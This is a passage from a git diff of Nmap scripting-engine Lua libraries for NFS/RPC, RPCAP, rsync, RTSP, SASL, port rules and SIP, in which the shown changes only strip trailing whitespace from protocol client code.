= { stdnse.print_debug(4, "NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes") return -1, nil end - + pos, value_follows = bin.unpack(">I", data, pos) if (value_follows == 0) then @@ -1781,7 +1781,7 @@ NFS = { stdnse.print_debug(4, "NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes") return -1, nil end - + pos, entry.name = Util.unmarshall_vopaque(entry.length, data, pos) status, data = comm:GetAdditionalBytes(data, pos, 8) if not status then @@ -1823,7 +1823,7 @@ NFS = { stdnse.print_debug(4, "NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes") return -1, nil end - + _, len = bin.unpack(">I", data, pos) status, data = comm:GetAdditionalBytes(data, pos, len + 4) if not status then @@ -1834,7 +1834,7 @@ NFS = { else stdnse.print_debug(4, "NFS.ReadDirPlusDecode: %s handle follow failed", entry.name) - end + end table.insert(response.entries, entry) end @@ -1854,7 +1854,7 @@ NFS = { if not file_handle then return false, "ReadDirPlus: No filehandle received" - end + end data = bin.pack("A>L>L>I>I", file_handle, cookie, opaque_data, dircount, maxcount) @@ -1994,7 +1994,7 @@ NFS = { stdnse.print_debug(4, "NFS.FsStatDecode: Failed to call GetAdditionalBytes") return -1, nil end - + pos, fsinfo.rtmax, fsinfo.rtpref, fsinfo.rtmult, fsinfo.wtmax, fsinfo.wtpref, fsinfo.wtmult, fsinfo.dtpref = Util.unmarshall_uint32(data, pos, 7) @@ -2207,7 +2207,7 @@ NFS = { -- low-level packet manipulation -- @param file_handle string containing the filehandle to query -- @return status true on success, false on failure - -- @return statfs table with the fields transfer_size, block_size, + -- @return statfs table with the fields transfer_size, block_size, -- total_blocks, free_blocks and available_blocks -- @return errormsg if status is false StatFs = function( self, comm, file_handle ) @@ -2256,7 +2256,7 @@ NFS = { -- @param data string containing the full statfs reply -- @param pos number pointing to the statfs section of the reply -- @return pos number containing the offset after decoding - -- @return statfs table with the following fields: type, mode, + -- @return statfs table with the following fields: type, mode, -- nlink, uid, gid, size, -- blocksize, rdev, blocks, fsid, -- fileid, atime, mtime and ctime @@ -2296,7 +2296,7 @@ NFS = { -- low-level packet manipulation -- @param file_handle string containing the filehandle to query -- @return status true on success, false on failure - -- @return attribs table with the fields type, mode, + -- @return attribs table with the fields type, mode, -- nlink, uid, gid, size, -- blocksize, rdev, blocks, fsid, -- fileid, atime, mtime and ctime @@ -2335,7 +2335,7 @@ NFS = { -- @param data string containing the full statfs reply -- @param pos number pointing to the statfs section of the reply -- @return pos number containing the offset after decoding - -- @return statfs table with the following fields: transfer_size, block_size, + -- @return statfs table with the following fields: transfer_size, block_size, -- total_blocks, free_blocks and available_blocks StatFsDecode = function( self, comm, data, pos ) local status @@ -2357,8 +2357,8 @@ NFS = { stdnse.print_debug(4, "StatFsDecode: Failed to call GetAdditionalBytes") return -1, nil end - pos, statfs.transfer_size, statfs.block_size, - statfs.total_blocks, statfs.free_blocks, + pos, statfs.transfer_size, statfs.block_size, + statfs.total_blocks, statfs.free_blocks, statfs.available_blocks = Util.unmarshall_uint32(data, pos, 5) return pos, statfs end, @@ -2375,7 +2375,7 @@ Helper = { -- @return result table of string entries or error message on failure ShowMounts = function( host, port ) - local status, result, mounts + local status, result, mounts local mountd, mnt_comm local mnt = Mount:new() local portmap = Portmap:new() @@ -2520,7 +2520,7 @@ Helper = { -- @param port table -- @param path string containing the nfs export path -- @return status true on success, false on failure - -- @return statfs table with the fields transfer_size, block_size, + -- @return statfs table with the fields transfer_size, block_size, -- total_blocks, free_blocks and available_blocks ExportStats = function( host, port, path ) local fhandle @@ -2528,7 +2528,7 @@ Helper = { local mnt_comm, nfs_comm local mountd, nfsd = {}, {} local mnt, nfs = Mount:new(), NFS:new() - + status, mountd = Helper.GetProgramInfo( host, port, "mountd", 2) if ( not(status) ) then stdnse.print_debug(4, "rpc.Helper.ExportStats: GetProgramInfo failed") @@ -2576,7 +2576,7 @@ Helper = { stdnse.print_debug(4, "rpc.Helper.ExportStats: %s", stats) return status, stats end - + status, fhandle = mnt:Unmount(mnt_comm, path) mnt_comm:Disconnect() nfs_comm:Disconnect() @@ -2651,7 +2651,7 @@ Helper = { stdnse.print_debug(4, "rpc.Helper.Dir: %s", dirs) return status, dirs end - + status, fhandle = mnt:Unmount(mnt_comm, path) mnt_comm:Disconnect() nfs_comm:Disconnect() @@ -2668,7 +2668,7 @@ Helper = { -- @param port table -- @param path string containing the nfs export path -- @return status true on success, false on failure - -- @return statfs table with the fields transfer_size, block_size, + -- @return statfs table with the fields transfer_size, block_size, -- total_blocks, free_blocks and available_blocks GetAttributes = function( host, port, path ) local fhandle @@ -2688,7 +2688,7 @@ Helper = { stdnse.print_debug(4, "rpc.Helper.GetAttributes: GetProgramInfo failed") return status, "rpc.Helper.GetAttributes: GetProgramInfo failed" end - + mnt_comm, result = Comm:new('mountd', mountd.version) nfs_comm, result = Comm:new('nfs', nfsd.version) @@ -2730,7 +2730,7 @@ Helper = { end status, fhandle = mnt:Unmount(mnt_comm, path) - + mnt_comm:Disconnect() nfs_comm:Disconnect() if ( not(status) ) then @@ -2740,13 +2740,13 @@ Helper = { return true, attribs end, - + --- Queries the portmapper for a list of programs -- -- @param host table -- @param port table -- @return status true on success, false on failure - -- @return table containing the portmapper information as returned by + -- @return table containing the portmapper information as returned by -- Portmap.Dump RpcInfo = function( host, port ) local status, result @@ -2754,7 +2754,7 @@ Helper = { local comm = Comm:new('rpcbind', 2) mutex "lock" - + if nmap.registry[host.ip] == nil then nmap.registry[host.ip] = {} end @@ -2790,13 +2790,13 @@ Helper = { -- @param program string containing the RPC program name -- @param protocol string containing either "tcp" or "udp" -- @return status true on success, false on failure - -- @return table containing the portmapper information as returned by + -- @return table containing the portmapper information as returned by -- Portmap.Dump GetPortForProgram = function( host, port, program, protocol ) local status, result local portmap = Portmap:new() local comm = Comm:new('rpcbind', 2) - + status, result = comm:Connect(host, port) if (not(status)) then stdnse.print_debug(4, "rpc.Helper.GetPortForProgram: %s", result) @@ -2808,10 +2808,10 @@ Helper = { if (not(status)) then stdnse.print_debug(4, "rpc.Helper.GetPortForProgram: %s", result) end - + return status, result end, - + --- Get RPC program information -- -- @param host table @@ -2882,7 +2882,7 @@ Util = -- S_IWUSR [0x00000080] = { idx = 2, char = "w" }, -- S_IXUSR - [0x00000040] = { idx = 3, char = "x" }, + [0x00000040] = { idx = 3, char = "x" }, -- S_ISUID [0x00000800] = { idx = 3, char = "S" }, }, @@ -3238,7 +3238,7 @@ Util = end return string.format("%.1f%s", size, unit[idx]) end, - + format_access = function(mask, version) local ret, nfsobj = "", NFS:new() @@ -3285,7 +3285,7 @@ Util = -- -- @param pconf table returned by the NFSv3 PATHCONF call -- @param nfsversion the version of the remote NFS server - -- @return fs table that contains the remote filesystem + -- @return fs table that contains the remote filesystem -- pathconf information. calc_pathconf_table = function(pconf, nfsversion) local fs = {} @@ -3301,7 +3301,7 @@ Util = else fs.chown_restricted = "False" end - + return fs, nil end, @@ -3309,9 +3309,9 @@ Util = -- -- @param fsinfo table returned by the NFSv3 FSINFO call -- @param nfsversion the version of the remote NFS server - -- @param human if set show the size in the human + -- @param human if set show the size in the human -- readable format. - -- @return fs table that contains the remote filesystem + -- @return fs table that contains the remote filesystem -- information. calc_fsinfo_table = function(fsinfo, nfsversion, human) local fs = {} @@ -3339,15 +3339,15 @@ Util = --- Calculate and return the fsstat filesystem table -- - -- @param stats table returned by the NFSv3 FSSTAT or + -- @param stats table returned by the NFSv3 FSSTAT or -- NFSv2 STATFS calls -- @param nfsversion the version of the remote NFS server - -- @param human if set show the size in the human + -- @param human if set show the size in the human -- readable format. - -- @return df table that contains the remote filesystem + -- @return df table that contains the remote filesystem -- attributes. calc_fsstat_table = function(stats, nfsversion, human) - local df, base = {}, 1024 + local df, base = {}, 1024 local size, free, total, avail, used, use if (nfsversion == 3) then free = stats.fbytes @@ -3392,7 +3392,7 @@ Util = -- @return num number containing the program ID ProgNameToNumber = function(prog_name) local status - + if not( RPC_PROGRAMS ) then status, RPC_PROGRAMS = datafiles.parse_rpc() if ( not(status) ) then @@ -3404,17 +3404,17 @@ Util = return num end end - + return end, - + --- Converts the RPC program number to it's equivalent name -- -- @param num number containing the RPC program identifier -- @return string containing the RPC program name ProgNumberToName = function( num ) local status - + if not( RPC_PROGRAMS ) then status, RPC_PROGRAMS = datafiles.parse_rpc() if ( not(status) ) then @@ -3423,7 +3423,7 @@ Util = end return RPC_PROGRAMS[num] end, - + -- -- Calculates the number of fill bytes needed -- @param length contains the length of the string diff --git a/nselib/rpcap.lua b/nselib/rpcap.lua index b5d5c5f36..6580a0b4b 100644 --- a/nselib/rpcap.lua +++ b/nselib/rpcap.lua @@ -34,20 +34,20 @@ local table = require "table" _ENV = stdnse.module("rpcap", stdnse.seeall) RPCAP = { - + MessageType = { ERROR = 1, FIND_ALL_INTERFACES = 2, AUTH_REQUEST = 8, }, - + -- Holds the two supported authentication mechanisms PWD and NULL Authentication = { PWD = { new = function(self, username, password) - local o = { + local o = { type = 1, username = username, password = password, @@ -56,37 +56,37 @@ RPCAP = { self.__index = self return o end, - + __tostring = function(self) local DUMMY = 0 return bin.pack(">SSSSAA", self.type, DUMMY, #self.username, #self.password, self.username, self.password) end, - + }, - + NULL = { - + new = function(self) - local o = { + local o = { type = 0, } setmetatable(o, self) self.__index = self return o end, - + __tostring = function(self) local DUMMY = 0 return bin.pack(">SSSS", self.type, DUMMY, 0, 0) end, - - } - + + } + }, - + -- The common request and response header Header = { - size = 8, + size = 8, new = function(self, type, value, length) local o = { version = 0, @@ -98,25 +98,25 @@ RPCAP = { self.__index = self return o end, - + parse = function(data) local header = RPCAP.Header:new() local pos pos, header.version, header.type, header.value, header.length = bin.unpack(">CCSI", data) return header end, - + __tostring = function(self) return bin.pack(">CCSI", self.version, self.type, self.value, self.length) end, }, - - -- The implemented request types are kept here + + -- The implemented request types are kept here Request = { - + Authentication = { - + new = function(self, data) local o = { header = RPCAP.Header:new(RPCAP.MessageType.AUTH_REQUEST, nil, #data), @@ -126,15 +126,15 @@ RPCAP = { self.__index = self return o end, - + __tostring = function(self) return tostring(self.header) .. tostring(self.data) end, - + }, - + FindAllInterfaces = { - + new = function(self) local o = { header = RPCAP.Header:new(RPCAP.MessageType.FIND_ALL_INTERFACES) @@ -143,27 +143,27 @@ RPCAP = { self.__index = self return o end, - + __tostring = function(self) return tostring(self.header) end, - - + + } - - }, - + + }, + -- Parsers for responses are kept here Response = { - - Authentication = { + + Authentication = { new = function(self) local o = { } setmetatable(o, self) self.__index = self return o end, - + parse = function(data) local resp = RPCAP.Response.Authentication:new() local pos = RPCAP.Header.size + 1 @@ -171,7 +171,7 @@ RPCAP = { return resp end }, - + Error = { new = function(self) local o = { } @@ -187,9 +187,9 @@ RPCAP = { pos, err.error = bin.unpack("A" .. err.header.length, data, pos) return err end - + }, - + FindAllInterfaces = { new = function(self) local o = { } @@ -197,7 +197,7 @@ RPCAP = { self.__index = self return o end, - + parse = function(data) -- Each address is made up of 4 128 byte fields, this function @@ -208,11 +208,11 @@ RPCAP = { local offset = pos local family, port pos, family, port = bin.unpack(">SS", data, pos) - + if ( family == 0x0017 ) then -- not sure why... pos = pos + 4 - + local ipv6 pos, ipv6 = bin.unpack("B16", data, pos) return offset + 128, ipOps.bin_to_ip(ipv6) @@ -221,27 +221,27 @@ RPCAP = { pos, ipv4 = bin.unpack("B4", data, pos) return offset + 128, ipOps.bin_to_ip(ipv4) end - + return offset + 128, nil end - + -- Parses one of X addresses returned for an interface local function parseAddress(data, pos) local fields = {"ip", "netmask", "bcast", "p2p"} local addr = {} - + for _, f in ipairs(fields) do pos, addr[f] = parseField(data, pos) end return pos, addr end - + local resp = RPCAP.Response.FindAllInterfaces:new() local pos = RPCAP.Header.size + 1 resp.header = RPCAP.Header.parse(data) resp.ifaces = {} - + for i=1, resp.header.value do local name_len, desc_len, iface_flags, addr_count, dummy pos, name_len, desc_len, iface_flags, addr_count, dummy = bin.unpack(">SSISS", data, pos) @@ -268,10 +268,10 @@ RPCAP = { return resp end, } - - + + } - + } -- Maps packet types to classes @@ -284,7 +284,7 @@ RPCAP.TypeToClass = { -- The communication class Comm = { - + -- Creates a new instance of the Comm class -- @param host table -- @param port table @@ -295,12 +295,12 @@ Comm = { self.__index = self return o end, - + -- Connects the socket to the server connect = function(self) return self.socket:connect(self.host, self.port) end, - + -- Sends an instance of the request class to the server -- @param req class instance -- @return status true on success, false on failure @@ -313,7 +313,7 @@ Comm = { -- in RPCAP.TypeToClass -- @return status true on success, false on failure -- @return resp instance of a Response class or - -- err string containing the error message + -- err string containing the error message recv = function(self) local status, hdr_data = self.socket:receive_buf(match.numbytes(RPCAP.Header.size), true) if ( not(status) ) then @@ -324,7 +324,7 @@ Comm = { if ( not(header) ) then return false, "rpcap: Failed to parse header" end - + local status, data = self.socket:receive_buf(match.numbytes(header.length), true) if ( not(status) ) then return false, "rpcap: Failed to read packet data" @@ -336,10 +336,10 @@ Comm = { return true, resp end end - + return false, "Failed to receive response from server" end, - + -- Sends and request and receives the response -- @param req the instance of the Request class to send -- @return status true on success, false on failure @@ -352,23 +352,23 @@ Comm = { end return self:recv() end, - + -- closes the socket close = function(self) return self.socket:close() end, - + } Helper = { - + -- Creates a new instance of the Helper class -- @param host table -- @param port table -- @return o instance of Helper new = function(self, host, port) - local o = { + local o = { host = host, port = port, comm = Comm:new(host, port) @@ -382,7 +382,7 @@ Helper = { connect = function(self) return self.comm:connect(self.host, self.port) end, - + -- Authenticates to the service, in case no username or password is given -- NULL authentication is assumed. -- @param username [optional] @@ -391,20 +391,20 @@ Helper = { -- @return err string containing error mesage on failure login = function(self, username, password) local auth - + if ( username and password ) then auth = RPCAP.Authentication.PWD:new(username, password) else auth = RPCAP.Authentication.NULL:new() end - + local req = RPCAP.Request.Authentication:new(tostring(auth)) local status, resp = self.comm:exch(req) - + if ( not(status) ) then return false, resp end - + if ( status and resp.error ) then return false, resp.error end @@ -416,11 +416,11 @@ Helper = { findAllInterfaces = function(self) local req = RPCAP.Request.FindAllInterfaces:new() local status, resp = self.comm:exch(req) - + if ( not(status) ) then return false, resp end - + local results = {} for _, iface in ipairs(resp.ifaces) do local entry = {} @@ -431,7 +431,7 @@ Helper = { end return true, results end, - + -- Closes the connection to the server close = function(self) return self.comm:close() diff --git a/nselib/rsync.lua b/nselib/rsync.lua index b017b0007..c3141893c 100644 --- a/nselib/rsync.lua +++ b/nselib/rsync.lua @@ -15,7 +15,7 @@ _ENV = stdnse.module("rsync", stdnse.seeall) -- The Helper class serves as the main interface for script writers Helper = { - + -- Creates a new instance of the Helper class -- @param host table as received by the action function -- @param port table as received by the action function @@ -28,7 +28,7 @@ Helper = { self.__index = self return o end, - + -- Handles send and receive of control messages -- @param data string containing the command to send -- @return status true on succes, false on failure @@ -45,7 +45,7 @@ Helper = { end return true, data end, - + -- Connects to the rsync server -- @return status, true on success, false on failure -- @return err string containing an error message if status is false @@ -56,7 +56,7 @@ Helper = { if ( not(status) ) then return false, err end - + local data status, data = self:ctrl_exch("@RSYNCD: 29") if ( not(status) ) then @@ -67,7 +67,7 @@ Helper = { end return true end, - + -- Authenticates against the rsync module. If no username is given, assume -- no authentication is required. -- @param username [optional] string containing the username @@ -78,7 +78,7 @@ Helper = { if (not(status)) then return false, data end - + local chall if ( data:match("@RSYNCD: OK") ) then return true, "No authentication was required" @@ -94,7 +94,7 @@ Helper = { if ( chall and not(username) ) then return false, "Authentication required" end - + local md4 = openssl.md4("\0\0\0\0" .. password .. chall) local resp = base64.enc(md4):sub(1,-3) status, data = self:ctrl_exch(username .. " " .. resp) @@ -105,9 +105,9 @@ Helper = { if ( data == "@RSYNCD: OK" ) then return true, "Authentication successfull" end - return false, "Authentication failed" + return false, "Authentication failed" end, - + -- Lists accessible modules from the rsync server -- @return status true on success, false on failure -- @return modules table containing a list of modules @@ -116,7 +116,7 @@ Helper = { if (not(status)) then return false, data end - + local modules = {} while(true) do status, data = self.socket:receive_buf("\n", false) @@ -131,7 +131,7 @@ Helper = { end return true, modules end, - + -- Lists the files available for the directory/module -- TODO: Add support for parsing results, seemed straight forward at -- first, but wasn't. @@ -146,7 +146,7 @@ Helper = { if ( not(status) ) then return false, data end - + status, data = self.socket:send("\0\0\0\0") if ( not(status) ) then return false, data @@ -156,7 +156,7 @@ Helper = { if ( not(status) ) then return false, data end - + local pos, len = bin.unpack(" 0 ) then req = req .. stdnse.strjoin("\r\n", self.headers) .. "\r\n" end - + return req .. "\r\n" - end, + end, } -- The RTSP response instance Response = { - + --- Creates a new Response instance - -- @param data string containing the unparsed data + -- @param data string containing the unparsed data new = function(self, data) assert(data, "No data was supplied") - local o = { + local o = { raw = data, status = tonumber(data:match("^RTSP%/1%.0 (%d*) ")) } @@ -104,7 +104,7 @@ Response = { -- Split the response into a temporary array local tmp = stdnse.strsplit("\r\n", data) if ( not(tmp) ) then return nil end - + -- we should have atleas one entry if ( #tmp > 1 ) then o.headers = {} @@ -121,19 +121,19 @@ Response = { self.__index = self return o end, - + } -- RTSP Client class Client = { - + -- Creates a new Client instance -- @param host table as received by the action method -- @param port table as received by the action method -- @return o instance of Client new = function(self, host, port) - local o = { + local o = { host = host, port = port, cseq = 0, @@ -145,22 +145,22 @@ Client = { self.__index = self return o end, - + --- Sets the number of retries for socket reads -- @param retries number containing the number of retries setRetries = function(self, retries) self.retries = retries end, - + --- Sets the socket connection timeout in ms -- @param timeout number containing the timeout in ms setTimeout = function(self, timeout) self.timeout = timeout end, - + --- Adds a RTSP header to the request -- @param header string containing the header name -- @param value string containing the header value addHeader = function(self, header, value) table.insert(self.headers, { ("%s: %s"):format(header,value) } ) end, - + --- Connects to the RTSP server -- @return status true on success, false on failure -- @return err string containing the error message on failure @@ -173,8 +173,8 @@ Client = { return false, ("Failed to connect to the server: %s"):format(self.host.ip) end return true - end, - + end, + --- Sends a DESCRIBE request to the server and receives the response -- @param url string containing the RTSP URL -- @return status true on success, false on failure @@ -185,15 +185,15 @@ Client = { req:setMethod("DESCRIBE") return self:exch(req) end, - + options = function(self, url) local req = Request:new(url, self.headers) req:setMethod("OPTIONS") return self:exch(req) end, - + --- Sends a request to the server and receives the response and attempts - -- to retry if either send or receive fails. + -- to retry if either send or receive fails. -- @param request instance of Request -- @return status true on success, false on failure -- @return response Response instance on success @@ -203,7 +203,7 @@ Client = { local status, data self.cseq = self.cseq + 1 req:setCSeq( self.cseq ) - + repeat local err status, err = self.socket:send( tostring(req) ) @@ -217,7 +217,7 @@ Client = { status, data = self.socket:receive() -- if we got the response allright, break out of retry loop if ( status ) then break end - end + end -- if either send or receive fails, re-connect the socket if ( not(status) ) then self:close() @@ -227,7 +227,7 @@ Client = { stdnse.print_debug(2, "Failed to reconnect socket to server (%s)", err) return false, ("Failed to reconnect socket to server (%s)"):format(err) end - end + end retries = retries - 1 until( status or retries == 0 ) @@ -235,20 +235,20 @@ Client = { stdnse.print_debug(2, "Failed to receive response from server (%s)", data) return false, ("Failed to receive response from server (%s)"):format(data) end - + return true, Response:new(data) end, - + --- Closes the RTSP socket with the server close = function(self) return self.socket:close() end, - + } -- The Helper class is the main script interface Helper = { - + -- Creates a new Helper instance -- @param host table as received by the action method -- @param port table as received by the action method @@ -259,19 +259,19 @@ Helper = { self.__index = self return o end, - + -- Connects to the RTSP server -- @return status true on success, false on failure -- @return err string containing the error message on failure connect = function(self) return self.client:connect() end, - + -- Closes the RTSP socket with the server close = function(self) return self.client:close() end, - + -- Sends a DESCRIBE request to the server and receives the response -- -- @param url string containing the RTSP URL @@ -281,11 +281,11 @@ Helper = { describe = function(self, url) return self.client:describe(url) end, - + options = function(self, url) return self.client:options(url) end, - + } return _ENV; diff --git a/nselib/sasl.lua b/nselib/sasl.lua index b84ffc74f..e81783a02 100644 --- a/nselib/sasl.lua +++ b/nselib/sasl.lua @@ -11,7 +11,7 @@ -- local dmd5 = DigestMD5:new(chall, user, pass, "AUTHENTICATE", nil, "imap") -- local digest = dmd5:calcDigest() -- --- +-- -- The NTLM class contains all code necessary to calculate a -- NTLM response based on the servers challenge and the other necessary -- arguments (@see NTLM.new). It can be called through the SASL helper or @@ -55,7 +55,7 @@ if ( not(HAVE_SSL) ) then end local MECHANISMS = { } -if HAVE_SSL then +if HAVE_SSL then -- Calculates a DIGEST MD5 response DigestMD5 = { @@ -64,8 +64,8 @@ if HAVE_SSL then -- @param chall string containing the base64 decoded challenge -- @return a new instance of DigestMD5 new = function(self, chall, username, password, method, uri, service, realm) - local o = { nc = 0, - chall = chall, + local o = { nc = 0, + chall = chall, challnvs = {}, username = username, password = password, @@ -150,7 +150,7 @@ if HAVE_SSL then response = response .. (",%s=\"%s\""):format("digest-uri", uri) response = response .. (",%s=%s"):format("response", digest) response = response .. (",%s=%s"):format("charset", "utf-8") - + -- response_table is used in http library because the request should -- be a little bit different then the string generated above local response_table = { @@ -164,7 +164,7 @@ if HAVE_SSL then algorithm = self.challnvs.algorithm, response = digest_http } - + return response, response_table end, @@ -180,8 +180,8 @@ if HAVE_SSL then -- @param password string containing the password -- @return new instance of NTML new = function(self, chall, username, password) - local o = { nc = 0, - chall = chall, + local o = { nc = 0, + chall = chall, username = username, password = password} setmetatable(o, self) @@ -207,8 +207,8 @@ if HAVE_SSL then local NTLM_NegotiateExtendedSecurity = 0x00080000 local pos, _, message_type - pos, _, message_type, _, _, - _, self.flags, self.chall, _, + pos, _, message_type, _, _, + _, self.flags, self.chall, _, _, _, _ = bin.unpack("CRAM-MD5 mechanism. -- -- @param username string. @@ -303,11 +303,11 @@ if HAVE_SSL then -- @return string The encoded string on success, or nil if Nmap was -- compiled without OpenSSL. function digest_md5_enc(username, password, challenge, service, uri) - return DigestMD5:new(challenge, - username, - password, - "AUTHENTICATE", - uri, + return DigestMD5:new(challenge, + username, + password, + "AUTHENTICATE", + uri, service):calcDigest() end @@ -448,7 +448,7 @@ Helper = { end, --- Returns the current authentication mechanism. - -- + -- -- @return mechanism on success, or nil on failures. get_mechanism = function(self) return self.mechanism diff --git a/nselib/shortport.lua b/nselib/shortport.lua index 9d18bdc1c..a7b74ca1b 100644 --- a/nselib/shortport.lua +++ b/nselib/shortport.lua @@ -73,7 +73,7 @@ end -- "smtp", or "ftp". These service names are -- determined by Nmap's version scan or (if no version scan information is -- available) the service assigned to the port in nmap-services --- (e.g. "http" for TCP port 80). +-- (e.g. "http" for TCP port 80). -- @param services Service name or a list of names to run against. -- @param protos The protocol or list of protocols to match against, default -- "tcp". @@ -110,7 +110,7 @@ end -- a list of values as in those functions. This function exists because many -- scripts explicitly try to run against the well-known ports, but want also to -- run against any other port which was discovered to run the named service. --- @usage portrule = shortport.port_or_service(22,"ssh"). +-- @usage portrule = shortport.port_or_service(22,"ssh"). -- @param ports A single port number or a list of port numbers. -- @param services Service name or a list of names to run against. -- @param protos The protocol or list of protocols to match against, default diff --git a/nselib/sip.lua b/nselib/sip.lua index 3c9857e16..9eef2535f 100644 --- a/nselib/sip.lua +++ b/nselib/sip.lua @@ -6,7 +6,7 @@ -- Overview -- -------- -- The library consists of the following classes: --- +-- -- o SessionData -- - Holds session data for the SIP session -- @@ -31,7 +31,7 @@ -- -- o Helper -- - A class containing code used as a primary interface by scripts --- +-- -- -- @author "Patrik Karlsson " -- @copyright Same as Nmap--See http://nmap.org/book/man-legal.html @@ -75,7 +75,7 @@ Error = { -- The SessionData class SessionData = { - + --- Creates a new instance of sessiondata -- @return o an instance of SessionData new = function(self, o) @@ -85,7 +85,7 @@ SessionData = { o.user = "user" return o end, - + --- Sets the session username -- @param user string containing the username setUsername = function(self, user) self.user = user end, @@ -111,19 +111,19 @@ SessionData = { --- Sets the SIP users Full Name -- @param name string containing the full name of the user setName = function(self, name) self.name = name end, - + --- Retrieves the username -- @return user string containing the sessions username getUsername = function(self) return self.user end, - + --- Retrieves the session password -- @return pass string containing the session password getPassword = function(self) return self.pass end, - + --- Retrieves the SIP domain -- @return domain string containing the SIP domain getDomain = function(self) return self.domain end, - + --- Retrieves the client IP and port -- @return host string containing the client IP -- @return port number containing the client port @@ -158,13 +158,13 @@ Session = { o.expires = (options and options.expires) or 300 o.conn = Connection:new(host,port) o.cseq = (options and options.cseq) or 1234 - local timeout = ( ( options and options.timeout ) and + local timeout = ( ( options and options.timeout ) and options.timeout * 1000 ) or 5000 o.conn.socket:set_timeout( timeout ) o.sessdata = sessdata or SessionData:new() return o end, - + --- Connect the session -- @return true on success, false on failure -- @return err string containing error message @@ -181,12 +181,12 @@ Session = { self.sessdata:setServer(rhost, rport) return true end, - + --- Closes the session -- TODO: We should probably send some "closing" packets here -- @return true on success, false on failure close = function(self) return self.conn:close() end, - + --- Sends and SIP invite -- @param uri invite = function(self, uri) @@ -194,10 +194,10 @@ Session = { local lhost, _ = self.sessdata:getClient() local tm = os.time() - - local uri = (uri and uri:match("^sip:.*@.*")) or + + local uri = (uri and uri:match("^sip:.*@.*")) or ("sip:%s@%s"):format(uri, self.sessdata:getDomain()) - + request:setUri(uri) request:setSessionData(self.sessdata) @@ -212,13 +212,13 @@ Session = { request:setContent(stdnse.strjoin("\r\n", data)) request:setContentType("application/sdp") - + local status, response = self:exch(request) if ( not(status) ) then return false, response end local errcode = response:getErrorCode() - if ( Error.PROXY_AUTH_REQUIRED == errcode or + if ( Error.PROXY_AUTH_REQUIRED == errcode or Error.UNAUTHORIZED == errcode ) then -- Send an ACK to the server @@ -232,19 +232,19 @@ Session = { status, data = self:authenticate(request, response) if ( not(status) ) then return false, "SIP Authentication failed" end response = Response:new(data) - + -- read a bunch of 180 Ringing and 100 Trying requests, until we get a 200 OK while ( response:getErrorCode() ~= Error.OK ) do status, data = self.conn:recv() if ( not(status) ) then return status, "ERROR: Failed to receive response" end response = Response:new(data) end - + end - + return true end, - + --- Prepares and sends the challenge response authentication to the server -- @param request instance of the request object requiring authentication -- @param authdata string containing authentication data @@ -252,7 +252,7 @@ Session = { -- @return err string containing an error message if status is false authenticate = function(self, request, response) local rhost, _ = self.sessdata:getServer() - local auth_header, auth_data = response:getAuthData() + local auth_header, auth_data = response:getAuthData() local auth = SipAuth:new(auth_data) auth:setUsername(self.sessdata:getUsername()) auth:setPassword(self.sessdata:getPassword()) @@ -276,7 +276,7 @@ Session = { end return status, data end, - + --- Sends a SIP Request and receives the Response -- @param request instance of Request -- @return status true on success, false on failure @@ -284,31 +284,31 @@ Session = { -- err containing error message if status is false exch = function(self, request) request:setCseq(self.cseq) - + local status, err = self.conn:send( tostring(request) ) if ( not(status) ) then return status, "ERROR: Failed to send request" end local status, data = self.conn:recv() if ( not(status) ) then return status, "ERROR: Failed to receive response" end - + return true, Response:new(data) end, - + --- Sends a register request to the server -- @return status true on success, false on failure -- @return msg string containing the error message (if status is false) register = function(self) local request = Request:new(Method.REGISTER, self.protocol) - + request:setUri("sip:" .. self.sessdata:getServer()) request:setSessionData(self.sessdata) request:setExpires(self.expires) - + local status, response = self:exch(request) if (not(status)) then return false, response end local errcode = response:getErrorCode() - + if ( status and errcode == Error.OK ) then return true, response elseif ( Error.PROXY_AUTH_REQUIRED == errcode or Error.UNAUTHORIZED == errcode ) then @@ -316,7 +316,7 @@ Session = { self.cseq = self.cseq + 1 status, data = self:authenticate(request, response) response = Response:new(data) - errcode = response:getErrorCode() + errcode = response:getErrorCode() if ( not(status) or ( errcode and errcode ~= Error.OK ) ) then return false, "ERROR: Failed to authenticate" end @@ -327,7 +327,7 @@ Session = { end return true end, - + --- Sends an option request to the server and handles the response -- @return status true on success, false on failure -- @return response if status is true, nil else. @@ -348,7 +348,7 @@ Session = { -- The connection class contains basic communication code Connection = { - + --- Creates a new SIP Connection -- @param host table containing the host to connect to -- @param port table containing the port to connect to @@ -362,7 +362,7 @@ Connection = { o.socket = nmap.new_socket() return o end, - + --- Connects to the server -- @return status containing true on success and false on failure -- @return err containing the error message (if status is false) @@ -377,7 +377,7 @@ Connection = { end return status, err end, - + --- Sends the data over the socket -- @return status true on success, false on failure send = function(self, data) @@ -395,7 +395,7 @@ Connection = { close = function(self) return self.socket:close() end, - + --- Retrieves the client ip and port -- @return lhost string containing the local ip -- @return lport number containing the local port @@ -405,13 +405,13 @@ Connection = { -- @return rhost string containing the server ip -- @return rport number containing the server port getServer = function(self) return ( self.host.ip or self.host ), ( self.port.number or self.port ) end, - - + + } -- The response class holds the necessary methods and parameters to parse a response Response = { - + --- Creates a new Response instance -- @param str containing the data as received over the socket -- @return o table containing a new Response instance @@ -422,7 +422,7 @@ Response = { o.tbl = stdnse.strsplit("\r\n", str) return o end, - + --- Retrieves a given header value from the response -- @param name string containing the name of the header -- @return value string containing the header value @@ -430,40 +430,40 @@ Response = { for _, line in ipairs(self.tbl) do local header, value = line:match("^(.-): (.*)$") if ( header and header:lower() == name:lower() ) then - return value + return value end end end, - + --- Returns the error code from the SIP response -- @return err number containing the error code getErrorCode = function(self) return tonumber(self.tbl[1]:match("SIP/%d%.%d (%d+)")) end, - + --- Returns the error message returned by the server -- @return errmsg string containing the error message getErrorMessage = function(self) return self.tbl[1]:match("^SIP/%d%.%d %d+ (.+)$") end, - + --- Returns the message method -- @return method string containing the method getMethod = function(self) return self.tbl[1]:match("^(.-)%s.*SIP/2%.0$") end, - + --- Returns the authentication data from the SIP response -- @return auth string containing the raw authentication data getAuthData = function(self) local auth = self:getHeader("WWW-Authenticate") or self:getHeader("Proxy-Authenticate") if ( auth ) then - return ( self:getHeader("WWW-Authenticate") and - "WWW-Authenticate" or + return ( self:getHeader("WWW-Authenticate") and + "WWW-Authenticate" or "Proxy-Authenticate"), auth end end, - + --- Retrieves the current sequence number -- @return cseq number containing the current sequence number getCSeq = function(self) @@ -471,12 +471,12 @@ Response = { cseq = (cseq and cseq:match("^(%d+)")) return (cseq and 